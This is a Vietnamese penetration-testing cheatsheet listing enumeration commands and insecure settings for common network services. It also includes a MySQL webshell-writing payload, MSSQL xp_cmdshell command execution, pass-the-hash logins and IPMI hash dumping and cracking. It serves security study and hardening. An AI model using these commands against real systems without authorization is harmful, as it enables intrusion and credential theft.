Post

Footprinting & Enumeration Cheatsheet

Tổng hợp lệnh enumeration theo từng giao thức: FTP, SMB, NFS, DNS, SMTP, SNMP, MySQL, MSSQL, SSH, RDP, WinRM và các Dangerous Settings cần nhớ.

Footprinting & Enumeration Cheatsheet

Tổng hợp các lệnh dùng trong giai đoạn Footprinting & Enumeration — từ OSINT/Hạ tầng cho đến liệt kê các dịch vụ cụ thể trên máy mục tiêu. Bao gồm Dangerous Settings cho từng giao thức.


OSINT / Hạ Tầng

LệnhMô Tả
curl -s "https://crt.sh/?q=<domain>&output=json" \| jq .Xem certificate logs tìm subdomain
for i in $(cat ip-addresses.txt); do shodan host $i; doneQuét từng IP bằng Shodan
whois <domain>Tra cứu thông tin đăng ký tên miền
theHarvester -d <domain> -b allThu thập email, subdomain từ nhiều nguồn
subfinder -d <domain> -o subdomains.txtLiệt kê subdomain thụ động
amass enum -passive -d <domain>Thu thập thông tin thụ động với Amass

FTP — Port 21

Công dụng: Truyền file giữa client và server. Không mã hoá — credentials và dữ liệu đi dạng plaintext.

LệnhMô Tả
ftp <FQDN/IP>Kết nối tới FTP
nc -nv <FQDN/IP> 21Lấy banner FTP
openssl s_client -connect <FQDN/IP>:21 -starttls ftpKết nối FTPS
wget -m --no-passive ftp://anonymous:anonymous@<IP>Tải toàn bộ file từ FTP
nmap -sV -p 21 --script ftp-anon,ftp-bounce,ftp-syst <FQDN/IP>Kiểm tra FTP bằng Nmap

Dangerous Settings — FTP

SettingNguy hiểm vì
anonymous_enable=YESCho phép đăng nhập không cần credentials
anon_upload_enable=YESAnonymous có thể upload file
no_anon_password=YESKhông hỏi password khi login anonymous
write_enable=YESMọi user đều có thể ghi file
ssl_enable=NOKhông mã hoá → sniff được credentials

SMB — Port 445 / 139

Công dụng: Chia sẻ file, thư mục, máy in trong mạng nội bộ Windows. Mục tiêu phổ biến nhất trong pentest nội bộ.

LệnhMô Tả
smbclient -N -L //<FQDN/IP>Liệt kê shares bằng null session
smbclient //<FQDN/IP>/<share>Kết nối vào share
rpcclient -U "" <FQDN/IP>Tương tác RPC với null session
smbmap -H <ip> -u <> -p "<>"Liệt kê shares và quyền truy cập
crackmapexec smb <FQDN/IP> --shares -u '' -p ''Liệt kê shares bằng null session
enum4linux-ng.py <FQDN/IP> -ALiệt kê toàn diện SMB
nmap -p 445 --script smb-vuln-* <FQDN/IP>Kiểm tra lỗ hổng SMB

Lệnh bên trong rpcclient:

LệnhMô Tả
srvinfoThông tin server
enumdomusersLiệt kê users + RID
netshareenumallLiệt kê toàn bộ shares + path thực
queryuser <RID>Thông tin user theo RID

Dangerous Settings — SMB (smb.conf)

SettingNguy hiểm vì
guest ok = yesKết nối không cần mật khẩu
read only = noCho phép ghi file vào share
map to guest = bad userUser không tồn tại → tự động thành guest
smb1 enabled = yesSMBv1 có lỗ hổng EternalBlue (MS17-010)

NFS — Port 2049

Công dụng: Chia sẻ file giữa Linux/Unix qua mạng. Auth dựa trên UID/GID → cấu hình sai có thể đọc file của bất kỳ user nào.

LệnhMô Tả
showmount -e <FQDN/IP>Liệt kê NFS shares
sudo mount -t nfs <FQDN/IP>:/<share> ./target-NFS/ -o nolockMount NFS share
sudo umount ./target-NFSGỡ mount
nmap -p 111,2049 --script nfs-ls,nfs-showmount,nfs-statfs <FQDN/IP>Quét NFS

Dangerous Settings — NFS (/etc/exports)

Ví dụ cấu hình nguy hiểm nhất: /mnt/nfs *(rw,no_root_squash) — bất kỳ ai mount được và có quyền root!

SettingNguy hiểm vì
no_root_squashRoot trên client = Root trên server → RW toàn bộ
no_all_squashGiữ nguyên UID/GID → UID spoofing
rwCho phép ghi → upload file độc hại
*(rw,no_root_squash)Export cho mọi IP + full quyền ☠️

DNS — Port 53

Công dụng: Phân giải tên miền thành IP. Zone Transfer thành công = lộ bản đồ toàn bộ mạng nội bộ.

LệnhMô Tả
dig ns <domain.tld> @<nameserver>Truy vấn bản ghi NS
dig axfr <domain.tld> @<nameserver>Zone Transfer — dump toàn bộ zone
dig axfr internal.<domain.tld> @<nameserver>Zone Transfer zone nội bộ
dnsenum --dnsserver <ip> --enum -p 0 -s 0 -f <wordlist.txt> <domain>Brute-force subdomain
dnsenum --enum <ip> -f <wordlist> -rBrute-force subdomain đệ quy
dnsrecon -d <domain.tld> -t axfrZone transfer bằng dnsrecon

Dangerous Settings — DNS (named.conf)

SettingNguy hiểm vì
allow-transfer { any; };Zone Transfer từ mọi IP → lộ toàn bộ DNS records
allow-query { any; };Cho phép mọi IP query DNS nội bộ
recursion yes; + publicDNS Amplification Attack
dnssec-validation no;Dễ bị DNS Spoofing

SMTP — Port 25 / 587 / 465

LệnhMô Tả
telnet <FQDN/IP> 25Kết nối thô tới SMTP
smtp-user-enum -M VRFY -U users.txt -w 3 -m 50 -t <FQDN/IP>Enumerate user qua VRFY
swaks --to user@target.com --from fake@fake.com --server <IP>Test gửi email giả
nmap -p 25 --script smtp-open-relay <FQDN/IP>Kiểm tra Open Relay

Dangerous Settings — SMTP

SettingNguy hiểm vì
mynetworks = 0.0.0.0/0Open Relay — bất kỳ ai gửi email qua server
disable_vrfy_command = noEnumerate user hợp lệ
smtp_tls_security_level = noneKhông mã hoá → sniff credentials

IMAP / POP3 — Port 143 / 993 / 110 / 995

LệnhMô Tả
curl -k 'imaps://<FQDN/IP>' --user <user>:<pass>Đăng nhập IMAPS, liệt kê folder
curl -k 'imaps://<FQDN/IP>/<folder>;UID=<id>' --user <user>:<pass>Đọc email cụ thể
openssl s_client -connect <FQDN/IP>:imapsKết nối IMAPS thủ công
openssl s_client -connect <FQDN/IP>:pop3sKết nối POP3s thủ công

Lệnh IMAP thủ công (cần tag số vì IMAP hỗ trợ async):

1
2
3
4
5
1 LOGIN user pass
2 LIST "" *
3 SELECT INBOX
4 FETCH 1 ALL
5 LOGOUT

Lệnh POP3 thủ công (không cần tag vì POP3 sync từng lệnh):

1
2
3
4
5
USER robin
PASS robin
LIST
RETR 1
QUIT

SNMP — Port 161 UDP

LệnhMô Tả
snmpwalk -v2c -c public <FQDN/IP>Duyệt toàn bộ OID
snmpwalk -v2c -c public <IP> 1.3.6.1.2.1.25.4.2.1.2Liệt kê tiến trình đang chạy
snmpwalk -v2c -c public <IP> 1.3.6.1.2.1.25.6.3.1.2Liệt kê phần mềm đã cài
onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp-onesixtyone.txt <IP>Brute-force community string

Dangerous Settings — SNMP

SettingNguy hiểm vì
Community string = publicMặc định → ai cũng đọc được thông tin thiết bị
Community string = privateMặc định → ai cũng thay đổi được cấu hình
rwcommunity public 0.0.0.0/0Read-write cho mọi IP
Dùng SNMPv1/v2cKhông mã hoá, không auth thực sự

MySQL — Port 3306

LệnhMô Tả
mysql -u root -h <FQDN/IP>Thử login root không password
mysql -u <user> -p<pass> -h <IP> --skip-sslLogin bỏ qua SSL
nmap -p 3306 --script mysql-info,mysql-empty-password <FQDN/IP>Scan MySQL

Lệnh hữu ích trong MySQL:

1
2
3
4
5
6
7
8
SHOW databases;
USE <database>;
SHOW tables;
SELECT user, password FROM mysql.user;
SELECT user_login, user_pass FROM wp_users;
SELECT load_file('/etc/passwd');
SELECT "<?php system($_GET['cmd']); ?>"
  INTO OUTFILE '/var/www/html/shell.php';   -- webshell ☠️

Dangerous Settings — MySQL

SettingNguy hiểm vì
user = rootMySQL chạy với quyền root OS
bind-address = 0.0.0.0Expose ra internet
Password root trốngĐăng nhập không cần mật khẩu
secure_file_priv = ""load_file()INTO OUTFILE bất kỳ đâu
skip-grant-tablesTắt hoàn toàn hệ thống phân quyền ☠️

MSSQL — Port 1433

LệnhMô Tả
impacket-mssqlclient <user>@<FQDN/IP> -windows-authLogin Windows Auth
impacket-mssqlclient <user>:<pass>@<FQDN/IP>Login SQL Auth
nmap -p 1433 --script ms-sql-info,ms-sql-empty-password <FQDN/IP>Scan MSSQL

Lệnh hữu ích trong MSSQL:

1
2
3
4
5
SELECT name FROM sys.databases;
SELECT * FROM sys.sql_logins;
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';    -- RCE ☠️

Dangerous Settings — MSSQL

SettingNguy hiểm vì
xp_cmdshell = 1Thực thi lệnh OS trực tiếp từ SQL ☠️
SA account password yếuLogin với quyền sysadmin
Mixed Mode AuthenticationBrute-force SQL auth được
Ole Automation Procedures = 1Chạy VBScript/JScript từ SQL

IPMI — Port 623 UDP

LệnhMô Tả
sudo nmap -sU --script ipmi-version -p 623 <IP>Phát hiện phiên bản IPMI
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes)Dump hash mật khẩu
hashcat -m 7300 ipmi_hash.txt /usr/share/wordlists/rockyou.txt --usernameCrack IPMI hash (RAKP)

Dangerous Settings — IPMI

Vấn đềNguy hiểm vì
Password mặc định (admin:admin)Đăng nhập ngay mà không cần exploit
IPMI 2.0 chưa patchCVE-2013-4786 → dump hash không cần auth
Cipher Suite 0 được bậtBypass authentication hoàn toàn

SSH — Port 22

LệnhMô Tả
ssh <user>@<FQDN/IP>Đăng nhập SSH
ssh -i private.key <user>@<FQDN/IP>Đăng nhập bằng private key
ssh -v <user>@<FQDN/IP>Xem phương thức auth được hỗ trợ
ssh -L 1234:localhost:5432 <user>@<FQDN/IP>Local Port Forwarding
ssh -D 9050 <user>@<FQDN/IP>SOCKS proxy động
nmap -p 22 --script ssh-auth-methods <FQDN/IP>Kiểm tra phương thức auth

Dangerous Settings — SSH (sshd_config)

SettingNguy hiểm vì
PermitRootLogin yesSSH trực tiếp vào root
PasswordAuthentication yesCho phép brute-force password
PermitEmptyPasswords yesĐăng nhập không cần password
X11Forwarding yesCVE-2016-3115 — command injection
Protocol 1SSH-1 dễ bị MITM attack

Rsync — Port 873

LệnhMô Tả
nc -nv <FQDN/IP> 873#listLiệt kê shares qua netcat
rsync -av --list-only rsync://<FQDN/IP>/<share>Xem nội dung share
rsync -av rsync://<FQDN/IP>/<share> ./local/Tải toàn bộ file về

RDP — Port 3389

LệnhMô Tả
nmap -sV -sC <IP> -p3389 --script rdp*Scan RDP
xfreerdp /u:<user> /p:"<pass>" /v:<FQDN/IP>Đăng nhập RDP từ Linux
xfreerdp /u:<user> /p:"<pass>" /v:<FQDN/IP> /cert:ignoreBỏ qua SSL warning
xfreerdp /u:<user> /p:"<pass>" /v:<FQDN/IP> /drive:shared,/tmpChia sẻ thư mục local

Nmap để lại dấu vết khi scan RDP — dùng cookie mstshash=nmap → EDR/IDS có thể phát hiện!

Dangerous Settings — RDP

SettingNguy hiểm vì
Expose port 3389 ra internetBrute-force + BlueKeep từ bên ngoài
NLA = disabledKhông yêu cầu auth trước khi kết nối
Chưa patch CVE-2019-0708 (BlueKeep)RCE không cần credentials ☠️

WinRM — Port 5985 / 5986

LệnhMô Tả
evil-winrm -i <FQDN/IP> -u <user> -p <pass>Đăng nhập WinRM → PowerShell shell
evil-winrm -i <FQDN/IP> -u <user> -H <NTLM-hash>Pass-the-Hash

WMI — Port 135

LệnhMô Tả
impacket-wmiexec <user>:"<pass>"@<FQDN/IP> "whoami"Thực thi lệnh qua WMI
impacket-wmiexec -hashes :<NTLM-hash> <user>@<FQDN/IP> "whoami"Pass-the-Hash qua WMI

Oracle TNS — Port 1521

LệnhMô Tả
python3 ~/odat/odat.py sidguesser -s <IP> -p 1521Brute-force SID
python3 ~/odat/odat.py all -s <IP> -p 1521 -d <SID>Quét toàn diện Oracle
sqlplus <user>/<pass>@<IP>/<SID>Đăng nhập Oracle
sqlplus <user>/<pass>@<IP>/<SID> as sysdbaĐăng nhập quyền SYSDBA

Tổng Quan Nhanh

Giao ThứcCổngĐiểm Yếu Chính
FTP21Anonymous login, write enabled
SMB445/139Null session, EternalBlue
NFS2049no_root_squash, UID spoofing
DNS53Zone Transfer (allow-transfer any)
SMTP25/587Open Relay, VRFY enum
SNMP161 UDPCommunity string mặc định
MySQL3306Root no-password, INTO OUTFILE
MSSQL1433xp_cmdshell, SA weak password
IPMI623 UDPCVE-2013-4786 hash dump
SSH22PermitRootLogin, PasswordAuth
Rsync873Anonymous access, no auth
RDP3389BlueKeep, NLA disabled
WinRM5985/5986AllowUnencrypted, Basic Auth
Oracle TNS1521Default creds, xp_cmdshell
This post is licensed under CC BY 4.0 by the author.